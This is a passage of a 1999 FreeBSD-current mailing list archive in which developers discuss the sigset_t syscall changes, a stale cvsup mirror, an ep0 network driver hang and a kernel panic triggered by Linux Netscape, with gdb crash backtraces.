are definitely committed to perl nowadays, so it might be better to
just use the newer perl script.

OTOH, if we are still perl-safe, I could send you the newer perl
script, so you can adapt from that.

Mike, what would you prefer?

--
Daniel C. Sobral			(8-DCS)
dcs@newsguy.com
dcs@freebsd.org

	Rule 69: Do unto other's code as you'd have it do unto yours


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  6:36:23 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP id 2EBE715172
	for <current@freebsd.org>; Wed, 29 Sep 1999 06:35:46 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id OAA26795
	for freebsd.org!current; Wed, 29 Sep 1999 14:35:37 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Wed, 29 Sep 1999 14:20:27 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l03020907b417cbb92b39@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 29 Sep 1999 14:20:25 +0000
To: current@freebsd.org
From: Bob Bishop <rb@gid.co.uk>
Subject: my repository is broken
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

	===> usr.sbin/lpr/filters.ru
	===> usr.sbin/lpr/filters.ru/koi2alt
	make: don't know how to make koi2alt.c. Stop

Apparently because...

	ache        1999/09/22 19:54:45 PDT

	  Removed files:
	    usr.sbin/lpr/filters.ru koi2alt.c
	  Log:
	  moved to koi2alt

...never made it here. What's the easiest way to get back in step? TIA


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  8:42:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from rover.village.org (rover.village.org [204.144.255.49])
	by hub.freebsd.org (Postfix) with ESMTP id A0A4C1592A
	for <current@freebsd.org>; Wed, 29 Sep 1999 08:40:31 -0700 (PDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (harmony.village.org [10.0.0.6])
	by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA35112;
	Wed, 29 Sep 1999 09:40:30 -0600 (MDT)
	(envelope-from imp@harmony.village.org)
Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA03116; Wed, 29 Sep 1999 09:40:26 -0600 (MDT)
Message-Id: <199909291540.JAA03116@harmony.village.org>
To: Ville-Pertti Keinonen <will@iki.fi>
Subject: Re: just found this 
Cc: current@freebsd.org
In-reply-to: Your message of "29 Sep 1999 10:45:16 +0300."
		<867lla5fg2.fsf@not.demophon.com> 
References: <867lla5fg2.fsf@not.demophon.com>  <Pine.BSF.4.10.9909272351370.327-100000@culverk.student.umd.edu> <199909282101.PAA06277@harmony.village.org.newsgate.clinet.fi> 
Date: Wed, 29 Sep 1999 09:40:26 -0600
From: Warner Losh <imp@village.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <867lla5fg2.fsf@not.demophon.com> Ville-Pertti Keinonen writes:
: It isn't in -current, does this mean that it wasn't considered an
: acceptable long-term solution?

It wasn't a problem in -current due to a different way that things
were done there.

: Really large numbers of hardlinks are probably rare enough, but the
: default limit of 4 seems a bit low, it should probably be at least as
: high as the maximum link count encountered on a normal installation.
: There are other ways to hold down at least as much memory per file you
: can keep open as with the limit of 4.

I think phk's idea in this area are likely the best way to deal.

Warner


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  8:59:52 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 573A1155DB
	for <current@FreeBSD.org>; Wed, 29 Sep 1999 08:43:33 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id RAA78708
	for current@FreeBSD.org; Wed, 29 Sep 1999 17:30:27 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Wed, 29 Sep 1999 17:29:40 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F23064.98EEBC67@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Subject: HEADS UP: sigset_t changes committed
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I just finished committing the sigset_t changes I worked on for the last
5 weeks.

Before attempting to build world, you must make and install a new
kernel. The new kernel will contain new syscalls that are needed during
build world. doscmd is currently not being build because it needs fixing
first.

Alpha users are invited to test the changes since I've not been able to
do that myself. I've done all I possibly could do to make this a
success.

I've attached the commit logs for everyone to see. Please report
problems as soon as possible.

Thanks,

sigset_t change (part 1 of 5)
-----------------------------

Rename sigaction, sigprocmask, sigpending and sigsuspend to
osigaction, osigprocmask, osigpending and osigsuspend (resp)
and add new syscalls for them to support the new sisgset_t
without breaking existing binaries.

Change the prototype of sigaltstack to use the typedef stack_t
instead of struct sigaltstack to reflect that it is SUSv2
compliant.

Also, rename sigreturn to osigreturn and add a new syscall
to support the modified stackframe. The change is caused by
sigreturn operating on ucontext_t now and the fact that
siginfo_t has been updated to conform to SUSv2.

sigset_t change (part 2 of 5)
-----------------------------

The core of the signalling code has been rewritten to operate
on the new sigset_t. No methodological changes have been made.
Most references to a sigset_t object are through macros (see
signalvar.h) to create a level of abstraction and to provide
a basis for further improvements.

The NSIG constant has not been changed to reflect the maximum
number of signals possible. The reason is that it breaks
programs (especially shells) which assume that all signals
have a non-null name in sys_signame. See src/bin/sh/trap.c
for an example. Instead _SIG_MAXSIG has been introduced to
hold the maximum signal possible with the new sigset_t.

struct sigprop has been moved from signalvar.h to kern_sig.c
because a) it is only used there, and b) access must be done
though function sigprop(). The latter because the table doesn't
holds properties for all signals, but only for the first NSIG
signals.

signal.h has been reorganized to make reading easier and to
add the new and/or modified structures. The "old" structures
are moved to signalvar.h to prevent namespace polution.

Especially the coda filesystem suffers from the change, because
it contained lines like (p->p_sigmask == SIGIO), which is easy
to do for integral types, but not for compound types.

NOTE: kdump (and port linux_kdump) must be recompiled.

Thanks to Garrett Wollman and Daniel Eischen for pressing the
importance of changing sigreturn as well.

sigset_t change (part 3 of 5)
-----------------------------

By introducing a new sigframe so that the signal handler operates
on the new siginfo_t and on ucontext_t instead of sigcontext, we
now need two version of sendsig and sigreturn.

A flag in struct proc determines whether the process expects an
old sigframe or a new sigframe. The signal trampoline handles
which sigreturn to call. It does this by testing for a magic
cookie in the frame.

The alpha uses osigreturn to implement longjmp. This means that
osigreturn is not only used for compatibility with existing
binaries. To handle the new sigset_t, setjmp saves it in
sc_reserved (see NOTE).

the struct sigframe has been moved from frame.h to sigframe.h
to handle the complex header dependencies that was caused by
the new sigframe.

NOTE: For the i386, the size of jmp_buf has been increased to hold
      the new sigset_t. On the alpha this has been prevented by
      using sc_reserved in sigcontext.

sigset_t change (part 4 of 5)
-----------------------------

The compatibility code and/or emulators have been updated:

iBCS2 now mostly uses the older syscalls. SVR4 now properly
handles all signals. This has been achieved by using the
new sigset_t throughout the emulator. The Linuxulator has
been severely updated. Internally the new Linux sigset_t is
made the default. These are then mapped to and from the
new FreeBSD sigset_t.

Also, rt_sigsuspend has been implemented in the Linuxulator.
Implementing this syscall basicly caused all this sigset_t
changing in the first place and the syscall has been used
throughout the change as a means for testing. It basicly is
too much work to undo the implementation so that it can
later be added again.

A special note on the use of sv_sigtbl and sv_sigsize in
struct sysentvec:
Every signal larger than sv_sigsize is not translated and is
passed on to the signal handler unmodified. Signals in the
range 1 upto and including sv_sigsize are translated.
The rationale is that only the system defined signals need to
be translated.

The emulators also have been updated so that the translation
tables are only indexed for valid (system defined) signals.
This change also fixes the translation bug already in the
SVR4 emulator.

sigset_t change (part 5 of 5)
-----------------------------

Most of the userland changes are in libc. For both the alpha
and the i386 setjmp has been changed to accomodate for the
new sigset_t. Internally, libc is mostly rewritten to use the
new syscalls. The exception is in compat-43/sigcompat.c

The POSIX thread library has also been rewritten to use the
new sigset_t. Except, that it currently only handles NSIG
signals instead of the maximum _SIG_MAXSIG. This should not
be a problem because current applications don't use any
signals higher than NSIG.

There are version bumps for the following libraries:
  libdialog
  libreadline
  libc
  libc_r
  libedit
  libftpio
  libss

These libraries either a) have one of the modified structures
visible in the interface, or b) use sigset_t internally and
may cause breakage if new binaries are used against libraries
that don't have the sigset_t change. This not an immediate
issue, but will be as soon as applications start using the
new range to its fullest.

NOTE: libncurses already had an version bump and has not been
      given one now.

NOTE: doscmd is a real casualty and has been disconnected for
      the moment. Reconnection will eventually happen after
      doscmd has been fixed. I'm aware that being the last one
      to touch it, I'm automaticly promoted to being maintainer.
      According to good taste this means that I will receive a
      badge which either will be glued or mechanically stapled,
      drilled or otherwise violently forced onto me :-)

NOTE: pcvt/vttest cannot be compiled with -traditional. The
      change cause sys/types to be included along the way which
      contains the const and volatile modifiers. I don't consider
      this a solution, but more a workaround.

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  9:27:40 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 1536514D9E; Wed, 29 Sep 1999 09:25:58 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id RAA29223;
	Wed, 29 Sep 1999 17:09:14 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Wed, 29 Sep 1999 16:58:37 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l0302090ab417f4fbdd0e@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 29 Sep 1999 16:58:34 +0000
To: current@freebsd.org, hackers@freebsd.org
From: Bob Bishop <rb@gid.co.uk>
Subject: my repository is broken (more)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi,

I wrote:
>	===> usr.sbin/lpr/filters.ru
>	===> usr.sbin/lpr/filters.ru/koi2alt
>	make: don't know how to make koi2alt.c. Stop
>
>Apparently because...
>
>	ache        1999/09/22 19:54:45 PDT
>
>	  Removed files:
>	    usr.sbin/lpr/filters.ru koi2alt.c
>	  Log:
>	  moved to koi2alt
>
>...never made it here. What's the easiest way to get back in step? TIA

I now suspect that cvsup.uk.freebsd.org isn't up-to-date. Anyone know anything?


--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  9:34:27 1999
Delivered-To: freebsd-current@freebsd.org
Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20])
	by hub.freebsd.org (Postfix) with ESMTP id 8650D14E16
	for <freebsd-current@FreeBSD.ORG>; Wed, 29 Sep 1999 09:34:09 -0700 (PDT)
	(envelope-from bright@wintelcom.net)
Received: from localhost (bright@localhost)
	by fw.wintelcom.net (8.9.3/8.9.3) with ESMTP id JAA17055;
	Wed, 29 Sep 1999 09:51:49 -0700 (PDT)
Date: Wed, 29 Sep 1999 09:51:49 -0700 (PDT)
From: Alfred Perlstein <bright@wintelcom.net>
To: Vallo Kallaste <vallo@matti.ee>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Repeatable panic in current, cause Netscape
In-Reply-To: <19990929112518.A484@myhakas.matti.ee>
Message-ID: <Pine.BSF.4.05.9909290948400.6368-100000@fw.wintelcom.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG




On Wed, 29 Sep 1999, Vallo Kallaste wrote:

> Hello
> 
> The latest -current system crashes while starting up Netscape, mine
> version is 4.61, Linux one. It's fully repeatable in my case. I got
> crash dump and here's my dmesg and gdb trace:
> 
> Copyright (c) 1992-1999 The FreeBSD Project.
> Copyright (c) 1982, 1986, 1989, 1991, 1993
> 	The Regents of the University of California. All rights reserved.

...

excellent, using kgbd, can you please type "up" until you hit
frame 5 and print the value of the ndp and some of the other
variables?  A listing of the code at that location would also
be great. ('list')

thanks,
-Alfred Perlstein - [bright@rush.net|alfred@freebsd.org]
Wintelcom systems administrator and programmer
   - http://www.wintelcom.net/ [bright@wintelcom.net]
> 
> Script started on Wed Sep 29 11:07:23 1999
> myhakas# gdb -k /sys/compile/Myhakas/kernel.debug vmcore.1
> GNU gdb 4.18
> Copyright 1998 Free Software Foundation, Inc.
> GDB is free software, covered by the GNU General Public License, and you are
> welcome to change it and/or distribute copies of it under certain conditions.
> Type "show copying" to see the conditions.
> There is absolutely no warranty for GDB.  Type "show warranty" for details.
> This GDB was configured as "i386-unknown-freebsd"...
> SMP 2 cpus
> IdlePTD 3211264
> initial pcb at 298e00
> panicstr: page fault
> panic messages:
> ---
> Fatal trap 12: page fault while in kernel mode
> mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
> fault virtual address	= 0x17
> fault code		= supervisor read, page not present
> instruction pointer	= 0x8:0xc017ad2c
> stack pointer	        = 0x10:0xc8e5fca0
> frame pointer	        = 0x10:0xc8e5fcf0
> code segment		= base 0x0, limit 0xfffff, type 0x1b
> 			= DPL 0, pres 1, def32 1, gran 1
> processor eflags	= interrupt enabled, resume, IOPL = 0
> current process		= 666 (netscape)
> interrupt mask		= none <- SMP: XXX
> trap number		= 12
> panic: page fault
> mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
> boot() called on cpu#1
> 
> syncing disks... 19 5 1 done
> 
> dumping to dev #da/0x20001, offset 0
> dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 
> ---
> #0  boot (howto=256) at ../../kern/kern_shutdown.c:281
> 281			dumppcb.pcb_cr3 = rcr3();
> (kgdb) where
> #0  boot (howto=256) at ../../kern/kern_shutdown.c:281
> #1  0xc0155349 in panic (fmt=0xc026de2f "page fault")
>     at ../../kern/kern_shutdown.c:531
> #2  0xc0236400 in trap_fatal (frame=0xc8e5fc60, eva=23)
>     at ../../i386/i386/trap.c:907
> #3  0xc0236071 in trap_pfault (frame=0xc8e5fc60, usermode=0, eva=23)
>     at ../../i386/i386/trap.c:800
> #4  0xc0235ce7 in trap (frame={tf_fs = 1048600, tf_es = 16, tf_ds = 16, 
>       tf_edi = -924451276, tf_esi = -924451236, tf_ebp = -924451600, 
>       tf_isp = -924451700, tf_ebx = -1061078179, tf_edx = -924572480, 
>       tf_ecx = 7, tf_eax = 7, tf_trapno = 12, tf_err = 0, 
>       tf_eip = -1072190164, tf_cs = 8, tf_eflags = 66198, 
>       tf_esp = -1061078179, tf_ss = 0}) at ../../i386/i386/trap.c:426
> #5  0xc017ad2c in namei (ndp=0xc8e5fe34) at ../../kern/vfs_lookup.c:91
> #6  0xc0c12eb5 in ?? ()
> #7  0xc0c11c55 in ?? ()
> #8  0xc0236642 in syscall (frame={tf_fs = 47, tf_es = 47, tf_ds = 47, 
>       tf_edi = 677678720, tf_esi = 677674201, tf_ebp = -1077946400, 
>       tf_isp = -924450860, tf_ebx = 677674201, tf_edx = -1077946464, 
>       tf_ecx = -1077946464, tf_eax = 106, tf_trapno = 12, tf_err = 2, 
>       tf_eip = 677666503, tf_cs = 31, tf_eflags = 582, tf_esp = -1077946504, 
>       tf_ss = 47}) at ../../i386/i386/trap.c:1056
> #9  0xc02241b1 in Xint0x80_syscall ()
> #10 0x28644564 in ?? ()
> (kgdb) quit
> myhakas# exit
> exit
> 
> The same Netscape and X did work for last 3 weeks. The same Netscape did
> work for at least last 2 months. I see it's a known problem accordingly
> to lists.
> 
> Thanks
> -- 
> 
> Vallo Kallaste
> vallo@matti.ee
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  9:42:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from timbuk-e1.cray.com (timbuk-fddi.cray.com [128.162.8.102])
	by hub.freebsd.org (Postfix) with ESMTP id 160CC15565
	for <freebsd-current@FreeBSD.ORG>; Wed, 29 Sep 1999 09:42:16 -0700 (PDT)
	(envelope-from cattelan@thebarn.com)
Received: from ledzep.cray.com (ledzep.cray.com [137.38.226.97]) by timbuk-e1.cray.com (8.8.8/CRI-gate-news-1.3) with ESMTP id LAA04744; Wed, 29 Sep 1999 11:42:06 -0500 (CDT)
Received: from daisy-e185.cray.com (daisy-e185.cray.com [128.162.185.214]) by ledzep.cray.com (8.9.3/craymail-smart) with ESMTP id LAA11756545; Wed, 29 Sep 1999 11:42:04 -0500 (CDT)
Received: from thebarn.com (localhost [127.0.0.1]) by daisy-e185.cray.com (8.8.8/ASC-news-e1.0) with ESMTP id LAA144607; Wed, 29 Sep 1999 11:42:00 -0500 (CDT)
Message-ID: <37F24158.C4DEFA6A@thebarn.com>
Date: Wed, 29 Sep 1999 11:42:00 -0500
From: Russell Cattelan <cattelan@thebarn.com>
X-Mailer: Mozilla 4.51C-SGI [en] (X11; I; IRIX64 6.5 IP27)
X-Accept-Language: en
MIME-Version: 1.0
To: Mark Hittinger <bugs@freebsd.netcom.com>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: ep0 etherlink III breakage
References: <199909201728.MAA20399@freebsd.netcom.com.>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Mark Hittinger wrote:

> Hey per request I'm reporting some ep0 breakage in today's -current.  I have
> an etherlink III 3c509B and the probing appears correct.
>
> Sequence of events   boot -s
>                      # ifconfig ep0 inet 192.168.18.200
>                      (PC hangs)
>
> More later...

Was there ever a conclusion as to how to get around this problem?





To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29  9:48:45 1999
Delivered-To: freebsd-current@freebsd.org
Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91])
	by hub.freebsd.org (Postfix) with ESMTP id 427F6153E5
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 09:48:31 -0700 (PDT)
	(envelope-from nate@mt.sri.com)
Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100])
	by ns.mt.sri.com (8.9.3/8.9.3) with SMTP id KAA22641;
	Wed, 29 Sep 1999 10:48:30 -0600 (MDT)
	(envelope-from nate@rocky.mt.sri.com)
Received: by mt.sri.com (SMI-8.6/SMI-SVR4)
	id KAA23335; Wed, 29 Sep 1999 10:48:29 -0600
Date: Wed, 29 Sep 1999 10:48:29 -0600
Message-Id: <199909291648.KAA23335@mt.sri.com>
From: Nate Williams <nate@mt.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: Marcel Moolenaar <marcel@scc.nl>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <37F23064.98EEBC67@scc.nl>
References: <37F23064.98EEBC67@scc.nl>
X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid
Reply-To: nate@mt.sri.com (Nate Williams)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> I just finished committing the sigset_t changes I worked on for the last
> 5 weeks.

Thanks Marcel, this was great, and the commit messages were outstanding
(as well as humorous :).



Nate


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 10:20:17 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebsd.netcom.com. (freebsd.netcom.com [198.211.79.3])
	by hub.freebsd.org (Postfix) with SMTP id 0A277159A1
	for <freebsd-current@freebsd.org>; Wed, 29 Sep 1999 10:18:52 -0700 (PDT)
	(envelope-from bugs@freebsd.netcom.com)
Received: by freebsd.netcom.com. (SMI-8.6/SMI-SVR4)
	id MAA13361; Wed, 29 Sep 1999 12:18:48 -0500
From: bugs@freebsd.netcom.com (Mark Hittinger)
Message-Id: <199909291718.MAA13361@freebsd.netcom.com.>
Subject: Re: ep0 etherlink III breakage
To: freebsd-current@freebsd.org
Date: Wed, 29 Sep 1999 12:18:47 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


>> Mark Hittinger wrote:
>> Hey per request I'm reporting some ep0 breakage in today's -current.  I have
>> an etherlink III 3c509B and the probing appears correct.
>> Sequence of events   boot -s
>>                      # ifconfig ep0 inet 192.168.18.200
>>                      (PC hangs)
>> More later...

> From: Russell Cattelan <cattelan@thebarn.com>
> Was there ever a conclusion as to how to get around this problem?

One suggestion was to comment out the pnp0 isa line in your config file, i.e.

controller	isa0
#controller	pnp0		# PnP support for ISA
controller 	eisa0

** It would really be nice if you could disable pnp0 in the boot -c dialog **
(At least I can't see how to do that :-) ).

Then config, make depend, and build the kernel.

This does work but it doesn't help debug our PnP code, and I have seen several
other messages relating to problems in our PnP code over the past couple of
days.  When I have time I've been looking in the PnP code trying to find the
bug - it doesn't look like an easy find to me.

Later

Mark Hittinger
Mindspring/Netcom/Dallas
bugs@freebsd.netcom.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 10:44:23 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.scc.nl (node1374.a2000.nl [62.108.19.116])
	by hub.freebsd.org (Postfix) with ESMTP id 8FA42158FA
	for <current@FreeBSD.org>; Wed, 29 Sep 1999 10:43:33 -0700 (PDT)
	(envelope-from freebsd-current@scc.nl)
Received: (from daemon@localhost)
	by mail.scc.nl (8.9.3/8.9.3) id TAA11319
	for current@FreeBSD.org; Wed, 29 Sep 1999 19:42:58 +0200 (CEST)
	(envelope-from freebsd-current@scc.nl)
Received: from GATEWAY by dwarf.hq.scc.nl with netnews
	for current@FreeBSD.org (current@FreeBSD.org)
To: current@FreeBSD.org
Date: Wed, 29 Sep 1999 19:42:50 +0200
From: Marcel Moolenaar <marcel@scc.nl>
Message-ID: <37F24F9A.AE0676B2@scc.nl>
Organization: SCC vof
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <19990929112518.A484@myhakas.matti.ee>
Subject: Re: Repeatable panic in current, cause Netscape
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Vallo Kallaste wrote:

> The latest -current system crashes while starting up Netscape, mine
> version is 4.61, Linux one. It's fully repeatable in my case. I got
> crash dump and here's my dmesg and gdb trace:

Make sure that the linux module is as uptodate as the kernel is. As a
rule of thumb: rebuild the modules you use when you rebuild the kernel.

If that doesn't help in this case, continue debugging :-)

-- 
Marcel Moolenaar                        mailto:marcel@scc.nl
SCC Internetworking & Databases           http://www.scc.nl/
The FreeBSD project                mailto:marcel@FreeBSD.org


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 10:59:22 1999
Delivered-To: freebsd-current@freebsd.org
Received: from solaris.matti.ee (solaris.matti.ee [194.126.98.135])
	by hub.freebsd.org (Postfix) with ESMTP id 21CCD1598D
	for <freebsd-current@FreeBSD.ORG>; Wed, 29 Sep 1999 10:55:31 -0700 (PDT)
	(envelope-from vallo@matti.ee)
Received: from myhakas.matti.ee (myhakas.matti.ee [194.126.114.87])
	by solaris.matti.ee (8.9.3/8.9.3) with ESMTP id UAA19359;
	Wed, 29 Sep 1999 20:55:14 +0300 (EET DST)
Received: by myhakas.matti.ee (Postfix, from userid 1000)
	id 0CCE5EB; Wed, 29 Sep 1999 20:55:27 +0300 (EEST)
Date: Wed, 29 Sep 1999 20:55:26 +0300
From: Vallo Kallaste <vallo@matti.ee>
To: Alfred Perlstein <bright@wintelcom.net>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: Repeatable panic in current, cause Netscape
Message-ID: <19990929205526.A6843@myhakas.matti.ee>
Reply-To: vallo@matti.ee
References: <19990929112518.A484@myhakas.matti.ee> <Pine.BSF.4.05.9909290948400.6368-100000@fw.wintelcom.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Mailer: Mutt 0.95.6i
In-Reply-To: <Pine.BSF.4.05.9909290948400.6368-100000@fw.wintelcom.net>; from Alfred Perlstein on Wed, Sep 29, 1999 at 09:51:49AM -0700
Organization: =?iso-8859-1?Q?AS_Matti_B=FCrootehnika?=
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Wed, Sep 29, 1999 at 09:51:49AM -0700, Alfred Perlstein <bright@wintelcom.net> wrote:

> excellent, using kgbd, can you please type "up" until you hit
> frame 5 and print the value of the ndp and some of the other
> variables?  A listing of the code at that location would also
> be great. ('list')

Sorry I don't know anything about debugging, so I did some
trial-and-error game and used print on something which seemed emit
useful information. Useful from my point of view ;-) Hope it's really
useful. Otherwise please give exact guidelines or I can try limit memory
and get 32MB dump or so suitable for downloading.

Script started on Wed Sep 29 20:42:14 1999
myhakas# gdb -k /sys/compile/Myhakas/kernel.debug vmcore.1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-unknown-freebsd"...
SMP 2 cpus
IdlePTD 3211264
initial pcb at 298e00
panicstr: page fault
panic messages:
---
Fatal trap 12: page fault while in kernel mode
mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
fault virtual address	= 0x17
fault code		= supervisor read, page not present
instruction pointer	= 0x8:0xc017ad2c
stack pointer	        = 0x10:0xc8e5fca0
frame pointer	        = 0x10:0xc8e5fcf0
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, def32 1, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 666 (netscape)
interrupt mask		= none <- SMP: XXX
trap number		= 12
panic: page fault
mp_lock = 01000002; cpuid = 1; lapic.id = 01000000
boot() called on cpu#1

syncing disks... 19 5 1 done

dumping to dev #da/0x20001, offset 0
dump 128 127 126 125 124 123 122 121 120 119 118 117 116 115 114 113 112 111 110 109 108 107 106 105 104 103 102 101 100 99 98 97 96 95 94 93 92 91 90 89 88 87 86 85 84 83 82 81 80 79 78 77 76 75 74 73 72 71 70 69 68 67 66 65 64 63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48 47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32 31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 
---
#0  boot (howto=256) at ../../kern/kern_shutdown.c:281
281			dumppcb.pcb_cr3 = rcr3();
(kgdb) where
#0  boot (howto=256) at ../../kern/kern_shutdown.c:281
#1  0xc0155349 in panic (fmt=0xc026de2f "page fault")
    at ../../kern/kern_shutdown.c:531
#2  0xc0236400 in trap_fatal (frame=0xc8e5fc60, eva=23)
    at ../../i386/i386/trap.c:907
#3  0xc0236071 in trap_pfault (frame=0xc8e5fc60, usermode=0, eva=23)
    at ../../i386/i386/trap.c:800
#4  0xc0235ce7 in trap (frame={tf_fs = 1048600, tf_es = 16, tf_ds = 16, 
      tf_edi = -924451276, tf_esi = -924451236, tf_ebp = -924451600, 
      tf_isp = -924451700, tf_ebx = -1061078179, tf_edx = -924572480, 
      tf_ecx = 7, tf_eax = 7, tf_trapno = 12, tf_err = 0, 
      tf_eip = -1072190164, tf_cs = 8, tf_eflags = 66198, 
      tf_esp = -1061078179, tf_ss = 0}) at ../../i386/i386/trap.c:426
#5  0xc017ad2c in namei (ndp=0xc8e5fe34) at ../../kern/vfs_lookup.c:91
